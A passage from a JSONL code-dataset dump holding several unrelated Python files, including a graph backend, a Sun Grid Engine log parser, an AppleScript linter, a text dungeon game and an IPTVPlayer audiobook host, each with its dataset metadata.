picker=options.point_size,\n markersize=options.point_size)\n plot.plot(\n xigored,\n yignored,\n options.fmt,\n color=\"#eeeeee\",\n markersize=options.point_size)\n if self.selected_point:\n plot.plot(\n self.selected_point.x,\n self.selected_point.y,\n options.fmt,\n color=options.color,\n mec=\"#ff6666\",\n mew=2,\n markersize=options.point_size)\n if error_bars:\n if len(y_err) > 0:\n plot.errorbar(\n xs,\n ys,\n yerr=y_err,\n ecolor=\"black\",\n fmt=\"none\",\n elinewidth=1.5,\n capthick=1.5,\n capsize=3)\n\n\nclass PlotPoint(object):\n def __init__(self, x, y, xorig, yorig, sample):\n self.x = x\n self.y = y\n\n self.xorig = xorig\n self.yorig = yorig\n\n self.sample = sample\n\n @property\n def run(self):\n return self.sample['run']\n\n\nclass SampleCollection(object):\n \"\"\"\n Convenience functions for sample <-> graphs\n \"\"\"\n\n def __init__(self, virtual_core_list, sample_view):\n self.virtual_cores = virtual_core_list\n self.view = sample_view\n self.annotations = {}\n self.cache = {}\n self.bacon = None\n\n def get_pointset(self, iattr, dattr, run):\n '''Creates a list of points to be graphed.\n iattr = independant attribute\n dattr = dependant attribute\n '''\n key = (iattr, dattr, run)\n if key in self.cache:\n return self.cache[key]\n\n points = []\n spline = None\n\n for vcore in self.virtual_cores:\n if vcore.run != run:\n continue\n samples = []\n samples.extend(vcore.__iter__())\n samples.extend(vcore.__iter_ignored__())\n # for sample in vcore:\n for sample in samples:\n indep_var = sample[iattr]\n dep_var = sample[dattr]\n\n # shipping values out of quantity objects\n inv_v = getattr(indep_var, 'magnitude', indep_var)\n dev_v = getattr(dep_var, 'magnitude', dep_var)\n\n if inv_v is not None and dev_v is not None:\n points.append(\n PlotPoint(inv_v, dev_v, indep_var, dep_var, sample))\n\n ps = PointSet(points, dattr, iattr, run, spline,\n datastore.runs[run].display_name)\n self.cache[key] = ps\n return ps\n\n def get_property_object(self, prop, run):\n for vcore in self.virtual_cores:\n if vcore.properties[prop] and vcore.run == run:\n return vcore.properties[prop]\n\n msg = \"Property \" + prop + \" not found in Run \" + run\n wx.MessageBox(msg, \"Graphing Error\")\n print(msg)\n raise Exception(msg)\n\n def get_graphable_stuff(self):\n '''Collect the set of graphable attributes and properties for plotting.\n\n Checks is_numeric() and is_graphable()\n returns (attributes, properties)\n '''\n\n # if this is slow, replace with izip to test each core\n def att_exists(att):\n for c in self.virtual_cores:\n for sample in c:\n if sample[att] is not None:\n return True\n return False\n\n attset = [\n att for att in self.view\n if att in datastore.sample_attributes and\n datastore.sample_attributes[att].is_numeric() and att_exists(att)\n ]\n\n property_set = set()\n\n for vcore in self.virtual_cores:\n for prop in vcore.properties:\n if prop in datastore.core_attributes and \\\n datastore.core_attributes[prop].is_graphable():\n property_set.add(prop)\n\n return (attset, list(property_set))\n\n def get_runs(self):\n return [(virtual_core.run,\n datastore.runs[virtual_core.run].display_name)\n for virtual_core in self.virtual_cores]\n","sub_path":"src/cscience/GUI/graph/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"216197992","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.6-x86_64/egg/netlogger/parsers/modules/sge.py\n# Compiled at: 2010-04-29 16:01:18\n\"\"\"\nParse output file from Sun Grid Engine\n\nSample input:\n\nall.q:pc1018.nersc.gov:dayabay:jianglai:test_neutron_CDR_near_DYB_r484_c2.command:2779793:sge:0:1167554073:1167562126:1167567604:0:0:5478:5207:32:0.000000:0:0:0:0:339102:43557:0:0.000000:0:0:0:0:0:0:other:defaultdepartment:NONE:1:0:5239.000000:1024.547343:0.000000:-l h_cpu=21600,h_stack=10240K,h_vmem=1100M -P other:0.000000:NONE:219533312.000000\n\"\"\"\n__author__ = 'Dan Gunter dkgunter@lbl.gov'\n__rcsid__ = '$Id: sge.py 24755 2010-04-29 20:01:18Z dang $'\nfrom logging import DEBUG\nimport sys, time\nfrom netlogger.parsers.base import BaseParser, autoParseValue\n\nclass Parser(BaseParser):\n \"\"\"Parse output file from Sun Grid Engine (SGE)\n\n Parameters:\n - one_event {yes,no,no*}: If yes, generate one event per SGE output record, \n otherwise generate a start/end event pair.\n \"\"\"\n ATTRS = ('qname', 'hostname', 'group', 'owner', 'job_name', 'job_number', 'account',\n 'priority', 'submission_time', 'start_time', 'end_time', 'failed', 'exit_status',\n 'ru_wallclock', 'ru_utime', 'ru_stime', 'ru_maxrss', 'ru_ixrss', 'ru_ismrss',\n 'ru_idrss', 'ru_isrss', 'ru_minflt', 'ru_majflt', 'ru_nswap', 'ru_inblock',\n 'ru_oublock', 'ru_msgsnd', 'ru_msgrcv', 'ru_nsignals', 'ru_nvcsw', 'ru_nivcsw',\n 'project', 'department', 'granted_pe', 'slots', 'task_number', 'cpu',\n 'mem', 'io', 'category', 'iow', 'pe_taskid', 'maxvmem')\n NUM_ATTRS = len(ATTRS)\n\n def __init__(self, f, one_event=False, **kw):\n \"\"\"Parameters:\n one_event - sge.job instead of sge.job.start / sge.job.end\n \"\"\"\n BaseParser.__init__(self, f, fullname=__name__, **kw)\n self._one_event = one_event\n\n def process(self, line):\n self.log.debug('process.start')\n if line[0] == '#':\n return ()\n else:\n values = line.split(':')\n got_len, exp_len = len(values), self.NUM_ATTRS\n if got_len < exp_len:\n self.log.debug('process.end', status=1, msg='too few attrs', got=got_len, expected=self.NUM_ATTRS)\n return ()\n if got_len > self.NUM_ATTRS:\n values = values[:self.NUM_ATTRS]\n attrs = {}\n for (k, v) in zip(self.ATTRS, values):\n attrs[k] = autoParseValue(v)\n\n jobid = attrs['job_number']\n start_time = float(attrs['submission_time'])\n end_time = float(attrs['end_time'])\n if self._one_event:\n job = attrs\n job.update({'ts': start_time, 'dur': end_time - start_time, \n 'event': 'sge.job', \n 'job.id': jobid, \n 'status': attrs['exit_status']})\n else:\n start, end = {}, attrs\n start['ts'] = start_time\n start['event'] = 'sge.job.start'\n start['job.id'] = jobid\n end['ts'] = end_time\n end['event'] = 'sge.job.end'\n end['job.id'] = jobid\n end['status'] = attrs['exit_status']\n self.log.debug('process.end', status=0, n=2)\n if self._one_event:\n return (job,)\n return (start, end)","sub_path":"pycfiles/netlogger-4.3.1-py2.6/sge.py","file_name":"sge.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"406780967","text":"# -*- coding: utf-8 -*- \n\n# vim:set shiftwidth=4 tabstop=4 expandtab textwidth=79:\n#Copyright (c) 2006 Ali Afshar aafshar@gmail.com\n\n#Permission is hereby granted, free of charge, to any person obtaining a copy\n#of this software and associated documentation files (the \"Software\"), to deal\n#in the Software without restriction, including without limitation the rights\n#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n#copies of the Software, and to permit persons to whom the Software is\n#furnished to do so, subject to the following conditions:\n\n#The above copyright notice and this permission notice shall be included in\n#all copies or substantial portions of the Software.\n\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n#SOFTWARE.\n\nimport os\n\nimport gobject\n\nimport pida.core.service as service\n\nimport pida.pidagtk.contentview as contentview\nimport pida.pidagtk.tree as tree\n\nimport xml.dom.minidom as minidom\n\nimport tempfile\nimport gzip\n\nimport threading\n\ndefs = service.definitions\ntypes = service.types\n\nclass lib_list(tree.Tree):\n\n SORT_LIST = ['name', 'title']\n\nclass bookmark_view(contentview.content_view):\n\n ICON_NAME = 'library'\n LONG_TITLE = 'Loading...'\n\n def init(self):\n self.__list = lib_list()\n self.__list.set_property('markup_format_string',\n '%(name)s')\n self.__list.connect('double-clicked', self.cb_booklist_clicked)\n self.widget.pack_start(self.__list)\n gobject.timeout_add(2000, self.service.fetch)\n\n def book_found(self, bookroot):\n def _add():\n self._add_item(bookroot)\n gobject.idle_add(_add)\n\n def books_done(self):\n self.long_title = 'Documentation library'\n\n\n def _add_item(self, item, parent=None):\n niter = self.__list.add_item(item, parent=parent)\n for child in item.subs:\n self._add_item(child, niter)\n \n def cb_booklist_clicked(self, treeview, item):\n book = item.value\n if book.path:\n self.service.boss.call_command('webbrowse', 'browse',\n url=book.path)\n else:\n self.service.log.info('Bad document book \"%s\"', book.name)\n\nclass document_library(service.service):\n\n plugin_view_type = bookmark_view\n\n def init(self):\n return\n\n def fetch(self):\n t = threading.Thread(target=self.fetch_books)\n t.start()\n\n def fetch_books(self):\n books = []\n pida_directory = os.path.join(self.boss.pida_home, 'library')\n dirs = [pida_directory, '/usr/share/gtk-doc/html',\n '/usr/share/devhelp/books',\n os.path.expanduser('~/.devhelp/books')]\n for directory in [d for d in dirs if os.path.exists(d)]:\n for name in os.listdir(directory):\n path = os.path.join(directory, name)\n if os.path.exists(path):\n load_book = book(path)\n if hasattr(load_book, 'bookmarks'):\n self.plugin_view.book_found(load_book.bookmarks)\n self.plugin_view.books_done()\n\nclass book(object):\n\n def __init__(self, path):\n self.directory = path\n self.root = None\n config_path = None\n for name in os.listdir(path):\n if name.endswith('.devhelp'):\n config_path = os.path.join(path, name)\n break\n elif name.endswith('.devhelp.gz'):\n gz_path = os.path.join(path, name)\n f = gzip.open(gz_path, 'rb', 1)\n gz_data = f.read()\n f.close()\n fd, config_path = tempfile.mkstemp()\n os.write(fd, gz_data)\n os.close(fd)\n break\n if config_path and os.path.exists(config_path):\n dom = minidom.parse(config_path)\n main = dom.documentElement\n book_attrs = dict(main.attributes)\n for attr in book_attrs:\n setattr(self, attr, book_attrs[attr].value)\n self.chapters = dom.getElementsByTagName('chapters')[0]\n self.root = os.path.join(self.directory, self.link)\n self.bookmarks = self.get_bookmarks()\n else:\n for index in ['index.html']:\n indexpath = os.path.join(path, index)\n if os.path.exists(indexpath):\n self.root = indexpath\n break\n self.root = indexpath\n self.name = os.path.basename(path)\n self.key = path\n\n def get_bookmarks(self):\n #sub = self.chapters.getElementsByTagName('sub')[0]\n root = book_mark(self.chapters, self.directory)\n root.name = self.title\n root.path = self.root\n return root\n\n\n\nclass book_mark(object):\n\n def __init__(self, node, root_path):\n try:\n self.name = node.attributes['name'].value\n except:\n self.name = None\n try:\n self.path = os.path.join(root_path, node.attributes['link'].value)\n except:\n self.path = None\n self.key = self.path\n self.subs = []\n for child in self._get_child_subs(node):\n bm = book_mark(child, root_path)\n self.subs.append(bm)\n\n def _get_child_subs(self, node):\n return [n for n in node.childNodes if n.nodeType == 1]\n\n\nService = document_library\n","sub_path":"tags/merged-0.3/pida/services/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":5856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"455983010","text":"#Exemplo 4 conversão\n\nnum1 = int(input('digite um numero')) # Recebe o valor digiado e converte em inteiro\nnum2 = int(input('digite outro numero')) # Recebe o valor digiado e converte em inteiro\nsoma = num1 + num2 # realiza a soma entre num1 e num2\nprint('O resultado da soma é %i entre %i é = %i'% (num1, num2, soma)) # Exibe na tela o resultado de num1 e num2\n\nnum1 = float(input('Digite outro numero')) # Recebe o valor digiado e converte em float\nnum2 = float(input('Digite outro numero')) # Recebe o valor digiado e converte em float\nsoma = num1 + num2\n\nprint('O resulado da soma entre %i e %i é = %i'% (num1, num2, soma)) # Exibe na tela o resultado em float\n","sub_path":"atividades_python/atividades/Print e variaveis/exemplo4.py","file_name":"exemplo4.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"384018467","text":"from models.Averruncator import Averruncator\nfrom models.Axe import Axe\nfrom models.DriveType import DriveType\nfrom models.Hand import Hand\nfrom models.Purpose import Purpose\nfrom models.Saw import Saw\nfrom models.Shovel import Shovel\nfrom managers.GardenToolManager import GardenToolManager\n\nshovel = Shovel(\n 10,\n 1,\n \"Ukraine\",\n \"ZAZ\",\n \"steel\",\n 3,\n Purpose.WOOD_N_BRANCHES,\n 3.4\n)\naxe = Axe(\n 13,\n 3,\n \"Ukraine\",\n \"ZAZ\",\n \"steel\",\n 3,\n Purpose.GRASS,\n 3.4\n)\naverruncator = Averruncator(\n 23,\n 2,\n \"Ukraine\",\n \"ZAZ\",\n \"steel\",\n 3,\n Purpose.GRASS,\n Hand.BOTH,\n 3.4\n)\nsaw = Saw(\n 14,\n 4,\n \"Ukraine\",\n \"ZAZ\",\n \"steel\",\n 3,\n Purpose.WOOD_N_BRANCHES,\n DriveType,\n 3.4\n)\n\ngarden_tool_manager = GardenToolManager([shovel, axe, averruncator, saw])\nprint(garden_tool_manager.sort_tools_by_price())\nprint(garden_tool_manager.sort_tools_by_weight())\nprint(garden_tool_manager.find_tools_by_purpose(Purpose.WOOD_N_BRANCHES))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"611175992","text":"from lint import Linter\nimport json\nimport platform\n\nscript = '''\nimport sys\nfrom Foundation import NSAppleScript, NSConcreteValue, NSRange\nimport objc\nimport json\n\nclass CustomCodec(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, NSConcreteValue):\n if obj.objCType() == NSRange.__typestr__:\n r = obj.rangeValue()\n return (r.location, r.length)\n return json.JSONEncoder.default(self, obj)\n\ndef lint(code):\n code = code.decode('utf8')\n linter = NSAppleScript.alloc().initWithSource_(code)\n errors = dict(linter.compileAndReturnError_(None)[1] or {})\n objc.recycleAutoreleasePool()\n return CustomCodec().encode(errors)\n\nif __name__ == '__main__':\n code = sys.stdin.read()\n print lint(code)\n'''\n\nclass AppleScript(Linter):\n @classmethod\n def can_lint(cls, language):\n if platform.system() != 'Darwin':\n return\n return 'AppleScript' in language\n\n def lint(self):\n out = self.communicate(('/usr/bin/python', '-c', script), self.code)\n out = out.replace('\\u2019', '\\'')\n error = json.loads(out)\n if error:\n brief = error['NSAppleScriptErrorBriefMessage']\n # message = error['NSAppleScriptErrorMessage']\n start, end = error['NSAppleScriptErrorRange']\n\n line = self.code[:start].count('\\n')\n offset = 0\n if line:\n offset = start - self.code[:start].rindex('\\n')\n\n self.highlight.range(line, offset, end - offset)\n self.error(line, brief)\n","sub_path":"applescript.py","file_name":"applescript.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"263062404","text":"prefectures = {\n \"hiroshima\": {\n \"prefecture\": \"広島県\",\n \"list\": [\n \"神原病院\",\n \"医療法人社団健生会 いそだ病院\",\n \"医療法人財団竹政会セントラル病院\",\n \"公立学校共済組合 中国中央病院\",\n \"福山市民病院\",\n \"医療法人紅萌会 福山記念病院\",\n \"日本鋼管福山病院\",\n \"医療法人社団 島谷病院\",\n \"医療法人社団玄同会 小畠病院\",\n \"脳神経センター大田記念病院\",\n \"医療法人辰川会 山陽病院\",\n \"医療法人叙叙会 福山第一病院\",\n \"福山循環器病院\",\n \"医療法人社団健照会 セオ病院\",\n \"楠本病院\",\n \"医療法人社団宏仁会 寺岡整形外科病院\",\n \"藤井病院\",\n \"井上病院\",\n \"医療法人三宅会三宅会グッドライフ病院\", # 医療法人三宅会 三宅整形外科病院(医療法人三宅会三宅会グッドライフ病院) not 医療法人三宅会 三宅会グッドライフ病院\n \"沼隈病院\",\n \"医療法人慈彗会 亀川病院\",\n \"寺岡記念病院\",\n \"独立行政法人国立病院機構福山医療センター\",\n \"府中市民病院\",\n \"府中北市民病院\",\n \"三菱三原病院\",\n \"総合病院三原赤十字病院\",\n \"三原城町病院\", # 医療法人清幸会土肥病院 (三原城町病院) not 医療法人清幸会三原城町病院\n \"医療法人杏仁会 松尾内科病院\",\n \"三原市医師会病院\",\n \"医療法人宗斉会須波宗斉会病院\",\n \"社会医療法人里仁会 興生総合病院\",\n \"医療法人仁康会 本郷中央病院\",\n \"尾道市立市民病院\",\n \"医療法人社団啓卯会 村上記念病院\",\n \"公立みつぎ総合病院\",\n \"広島県厚生農業協同組合連合会 尾道総合病院\",\n \"因島医師会病院\",\n \"公立世羅中央病院\"]\n },\n \"okayama\": {\n \"prefecture\": \"岡山県\",\n \"list\": [\n \"医療法人おだうじ会 小田病院\",\n \"井原市立井原市民病院\",\n \"医療法人社団清和会笠岡第一病院\",\n \"医療法人緑十字会 笠岡中央病院\",\n \"笠岡市立市民病院\"]\n }\n}\n\npos_2014 = [48,\n 51,\n 215,\n 280,\n 293,\n 387,\n 433,\n 442,\n 443]\n\npos_2015 = [49,\n 53,\n 221,\n 286,\n 299,\n 401,\n 447,\n 455,\n 456]\n","sub_path":"data_10_24.py","file_name":"data_10_24.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"51555172","text":"# Dungeon Crawler\n\nimport asciiart\nimport level1\nimport level2\nimport time # timer\n\n\n#def test():\n# print(asciiart.baby_dragon())\n# print(asciiart.big_skull())\n# print(asciiart.dragon())\n# print(asciiart.samurai())\n# print(asciiart.skull_cross())\n# print(asciiart.warrior())\n# print(asciiart.chicken())\n\n\ndef start_dungeon():\n result = level1.first_room()\n\n if result == 1:\n print(asciiart.chicken())\n print(\"Have fun baking pies in safety, you baby.\")\n return\n else:\n print(\"You are a brave soul!\")\n print(\"\")\n\n time.sleep(0.75)\n\n result = level1.second_room()\n\n if(result == 1):\n print(asciiart.skull_cross())\n print(\"You are dead. It should have been obvious not to open the box.\")\n return\n elif(result == 3):\n return start_dungeon()\n \n print(\"\")\n result = level1.next_level()\n\n if(result == 1):\n result = level1.second_room()\n #...\n return\n elif(result == 2):\n return run_second_room()\n\n\n\ndef run_second_room():\n print(\"\")\n result = level2.nest()\n\n if result == 1:\n print(asciiart.baby_dragon())\n time.sleep(0.75)\n print(\"You have birthed a baby!\")\n return\n elif result == 2:\n print(asciiart.dragon())\n print(\"Oh no! Momma dragon is here and she isn't happy!\")\n time.sleep(1.25)\n print(asciiart.big_skull())\n print(\"You are dead\")\n return\n \n print(\"\")\n result = level2.dragon_lair()\n if result == 1:\n print(asciiart.samurai())\n time.sleep(1.1)\n print(asciiart.dragon())\n time.sleep(1.25)\n print(\"....\")\n time.sleep(0.25)\n print(\"You are VICTORIOUS!!!\")\n return\n else:\n print(asciiart.dragon())\n print(\"The dragon awakens! Prepare for battle.\")\n time.sleep(0.75)\n print(asciiart.big_skull())\n print(\"You are dead\")\n\n\n\n\n\n\n\n\n\nstart_dungeon()\n\n\n\n","sub_path":"class_3/dungeon.py","file_name":"dungeon.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"367392859","text":"# -*- coding: utf-8 -*-\n###################################################\n# LOCAL import\n###################################################\nfrom Plugins.Extensions.IPTVPlayer.components.iptvplayerinit import TranslateTXT as _, SetIPTVPlayerLastHostError\nfrom Plugins.Extensions.IPTVPlayer.components.ihost import CHostBase, CBaseHostClass, CDisplayListItem, RetHost, CUrlItem, ArticleContent\nfrom Plugins.Extensions.IPTVPlayer.tools.iptvtools import printDBG, printExc, CSearchHistoryHelper, remove_html_markup, GetLogoDir, GetCookieDir, byteify\nfrom Plugins.Extensions.IPTVPlayer.libs.pCommon import common, CParsingHelper\nimport Plugins.Extensions.IPTVPlayer.libs.urlparser as urlparser\nfrom Plugins.Extensions.IPTVPlayer.libs.youtube_dl.utils import _unquote\nfrom Plugins.Extensions.IPTVPlayer.tools.iptvtypes import strwithmeta\nfrom Plugins.Extensions.IPTVPlayer.components.iptvmultipleinputbox import IPTVMultipleInputBox\nfrom Plugins.Extensions.IPTVPlayer.libs.urlparserhelper import getDirectM3U8Playlist\nfrom Plugins.Extensions.IPTVPlayer.iptvdm.iptvdh import DMHelper\nfrom Plugins.Extensions.IPTVPlayer.components.asynccall import iptv_execute\n###################################################\n\n###################################################\n# FOREIGN import\n###################################################\nimport time\nimport datetime\nimport re\nimport urllib\nimport base64\ntry: import json\nexcept Exception: import simplejson as json\nfrom Components.config import config, ConfigSelection, ConfigYesNo, ConfigText, getConfigListEntry\n###################################################\n\n\n###################################################\n# E2 GUI COMMPONENTS \n###################################################\nfrom Plugins.Extensions.IPTVPlayer.components.asynccall import MainSessionWrapper\nfrom Screens.MessageBox import MessageBox\n###################################################\n\n###################################################\n# Config options for HOST\n###################################################\n\ndef GetConfigList():\n optionList = []\n return optionList\n###################################################\n\n\ndef gettytul():\n return 'wolnelektury.pl'\n\nclass WolnelekturyPL(CBaseHostClass):\n ITEMS_PER_PAGE = 50\n HTTP_HEADER = {'User-Agent': 'Mozilla/5.0', 'Accept': 'text/html'}\n MAIN_URL = 'http://wolnelektury.pl/'\n DEFAULT_ICON = 'http://m.img.brothersoft.com/android/598/1352446551_icon.png'\n MAIN_CAT_TAB = [{'category':'categories', 'key':'author', 'title':'Autorzy', 'icon':DEFAULT_ICON},\n {'category':'categories', 'key':'epoch', 'title':'Epoki', 'icon':DEFAULT_ICON},\n {'category':'categories', 'key':'genre', 'title':'Gatunki', 'icon':DEFAULT_ICON},\n {'category':'categories', 'key':'kind', 'title':'Rodzaje', 'icon':DEFAULT_ICON}]\n \n def __init__(self):\n CBaseHostClass.__init__(self, {'history':'wolnelektury.pl', 'cookie':'WolnelekturyPL.cookie'})\n self.defaultParams = {'header':self.HTTP_HEADER, 'use_cookie': True, 'load_cookie': True, 'save_cookie': True, 'cookiefile': self.COOKIE_FILE}\n self.cache = []\n \n def cleanHtmlStr(self, data):\n data = data.replace(' ', ' ')\n data = data.replace(' ', ' ')\n return CBaseHostClass.cleanHtmlStr(data)\n\n def listsTab(self, tab, cItem, type='dir'):\n printDBG(\"WolnelekturyPL.listsTab\")\n for item in tab:\n params = dict(cItem)\n params.update(item)\n params['name'] = 'category'\n if type == 'dir':\n self.addDir(params)\n else: self.addVideo(params)\n \n def fillCache(self):\n printDBG(\"WolnelekturyPL.fillCache\")\n self.cache = []\n sts, data = self.cm.getPage('http://iptvplayer.pl/resources/wolnelektury3.db')\n if not sts: return\n try:\n self.cache = byteify(json.loads(data))\n except Exception:\n printExc()\n \n def listCategories(self, cItem, category):\n printDBG(\"WolnelekturyPL.listCategories\")\n try:\n key = cItem['key']\n categories = set()\n for item in self.cache:\n tmp = item[key].split(',')\n for cat in tmp:\n categories.add(cat.strip())\n categories = sorted(list(categories))\n except Exception:\n printExc()\n \n for item in categories:\n params = dict(cItem)\n params.update({'title':item, 'cat':item, 'category':category})\n self.addDir(params)\n \n def listItems(self, cItem):\n printDBG(\"WolnelekturyPL.listItems\")\n \n try:\n key = cItem['key']\n cat = cItem['cat']\n max = len(self.cache)\n idx = cItem.get('idx', 0)\n items = 0\n while idx < max and items < self.ITEMS_PER_PAGE:\n if cat in self.cache[idx][key]:\n params = dict(cItem)\n title = self.cache[idx]['title']\n icon = self.cache[idx]['cover']\n url = self.cache[idx]['href']\n \n desc = []\n for dKey in ['kind', 'author', 'epoch', 'genre']:\n desc.append(self.cache[idx][dKey])\n params.update({'title':title, 'icon':icon, 'url':url, 'desc':'[/br]'.join(desc)}) \n self.addAudio(params)\n items += 1\n idx += 1\n \n if idx < max:\n params = dict(cItem)\n params.update({'title':_(\"Next page\"), 'idx':idx})\n self.addDir(params)\n except Exception:\n printExc()\n \n def getLinksForVideo(self, cItem):\n printDBG(\"WolnelekturyPL.getLinksForVideo [%s]\" % cItem)\n urlTab = []\n \n sts, data = self.cm.getPage(cItem['url'])\n if not sts: return []\n \n try:\n data = byteify(json.loads(data))\n for item in data['media']:\n if item['type'] not in ['mp3', 'ogg']: continue\n urlTab.append({'name': '{0} | {1}, {2}'.format(item['type'], item['artist'], item['director']), 'url':item['url'], 'need_resolve':0})\n except Exception:\n printExc()\n \n return urlTab\n \n def getArticleContent(self, cItem):\n printDBG(\"WolnelekturyPL.getArticleContent [%s]\" % cItem)\n retTab = []\n \n sts, data = self.cm.getPage(cItem['url'])\n if not sts: return []\n \n try:\n data = byteify(json.loads(data))\n url = data['txt']\n sts, desc = self.cm.getPage(url)\n if not sts: desc = ''\n otherInfo = {}\n return [{'title':self.cleanHtmlStr( data['title'] ), 'text': self.cleanHtmlStr( desc ), 'images':[{'title':'', 'url':data['cover']}], 'other_info':otherInfo}]\n except Exception:\n printExc()\n \n return []\n \n icon = cItem.get('icon', '')\n otherInfo = {}\n try:\n data = byteify(json.loads(data))\n icon = self._viaProxy( self._getFullUrl(data['poster'], False) )\n title = data['title']\n desc = data['overview']\n otherInfo['actors'] = data['actors']\n otherInfo['director'] = data['director']\n genres = []\n for item in data['genre']:\n genres.append(item['name'])\n otherInfo['genre'] = ', '.join(genres)\n otherInfo['rating']= data['imdb_rating']\n otherInfo['year'] = data['year']\n otherInfo['duration'] = str(datetime.timedelta(seconds=data['runtime']))\n except Exception:\n printExc()\n \n def getFavouriteData(self, cItem):\n return cItem['url']\n \n def getLinksForFavourite(self, fav_data):\n return self.getLinksForVideo({'url':fav_data})\n \n def handleService(self, index, refresh = 0, searchPattern = '', searchType = ''):\n printDBG('handleService start')\n \n CBaseHostClass.handleService(self, index, refresh, searchPattern, searchType)\n\n name = self.currItem.get(\"name\", '')\n category = self.currItem.get(\"category\", '')\n mode = self.currItem.get(\"mode\", '')\n \n printDBG( \"handleService: |||||||||||||||||||||||||||||||||||| name[%s], category[%s] \" % (name, category) )\n self.currList = []\n \n #MAIN MENU\n if name == None:\n self.fillCache()\n self.listsTab(self.MAIN_CAT_TAB, {'name':'category'})\n elif category == 'categories':\n self.listCategories(self.currItem, 'list_items')\n elif category == 'list_items':\n self.listItems(self.currItem)\n \n CBaseHostClass.endHandleService(self, index, refresh)\nclass IPTVHost(CHostBase):\n\n def __init__(self):\n CHostBase.__init__(self, WolnelekturyPL(), True, [CDisplayListItem.TYPE_VIDEO, CDisplayListItem.TYPE_AUDIO])\n\n def getLogoPath(self):\n return RetHost(RetHost.OK, value = [GetLogoDir('wolnelekturypllogo.png')])\n \n def getLinksForVideo(self, Index = 0, selItem = None):\n retCode = RetHost.ERROR\n retlist = []\n if not self.isValidIndex(Index): return RetHost(retCode, value=retlist)\n \n urlList = self.host.getLinksForVideo(self.host.currList[Index])\n for item in urlList:\n retlist.append(CUrlItem(item[\"name\"], item[\"url\"], item['need_resolve']))\n\n return RetHost(RetHost.OK, value = retlist)\n # end getLinksForVideo\n \n def getArticleContent(self, Index = 0):\n retCode = RetHost.ERROR\n retlist = []\n if not self.isValidIndex(Index): return RetHost(retCode, value=retlist)\n cItem = self.host.currList[Index]\n if cItem['type'] != 'audio':\n return RetHost(retCode, value=retlist)\n \n hList = self.host.getArticleContent(cItem)\n if 0 == len(hList):\n return RetHost(retCode, value=retlist)\n for item in hList:\n title = item.get('title', '')\n text = item.get('text', '')\n images = item.get(\"images\", [])\n othersInfo = item.get('other_info', '')\n retlist.append( ArticleContent(title = title, text = text, images = images, richDescParams = othersInfo) )\n return RetHost(RetHost.OK, value = retlist)\n \n def converItem(self, cItem):\n hostList = []\n searchTypesOptions = [] # ustawione alfabetycznie\n \n hostLinks = []\n type = CDisplayListItem.TYPE_UNKNOWN\n possibleTypesOfSearch = None\n\n if 'category' == cItem['type']:\n if cItem.get('search_item', False):\n type = CDisplayListItem.TYPE_SEARCH\n possibleTypesOfSearch = searchTypesOptions\n else:\n type = CDisplayListItem.TYPE_CATEGORY\n elif cItem['type'] == 'video':\n type = CDisplayListItem.TYPE_VIDEO\n elif 'more' == cItem['type']:\n type = CDisplayListItem.TYPE_MORE\n elif 'audio' == cItem['type']:\n type = CDisplayListItem.TYPE_AUDIO\n \n if type in [CDisplayListItem.TYPE_AUDIO, CDisplayListItem.TYPE_VIDEO]:\n url = cItem.get('url', '')\n if '' != url:\n hostLinks.append(CUrlItem(\"Link\", url, 1))\n \n title = cItem.get('title', '')\n description = cItem.get('desc', '')\n icon = cItem.get('icon', '')\n \n return CDisplayListItem(name = title,\n description = description,\n type = type,\n urlItems = hostLinks,\n urlSeparateRequest = 1,\n iconimage = icon,\n possibleTypesOfSearch = possibleTypesOfSearch)\n # end converItem\n\n def getSearchItemInx(self):\n try:\n list = self.host.getCurrList()\n for i in range( len(list) ):\n if list[i]['category'] == 'search':\n return i\n except Exception:\n printDBG('getSearchItemInx EXCEPTION')\n return -1\n\n def setSearchPattern(self):\n try:\n list = self.host.getCurrList()\n if 'history' == list[self.currIndex]['name']:\n pattern = list[self.currIndex]['title']\n search_type = list[self.currIndex]['search_type']\n self.host.history.addHistoryItem( pattern, search_type)\n self.searchPattern = pattern\n self.searchType = search_type\n except Exception:\n printDBG('setSearchPattern EXCEPTION')\n self.searchPattern = ''\n self.searchType = ''\n return\n","sub_path":"IPTVPlayer/hosts/hostwolnelekturypl.py","file_name":"hostwolnelekturypl.py","file_ext":"py","file_size_in_byte":13067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"171663346","text":"import numpy as np\nimport math\nimport Order\n\n\nclass Drone():\n 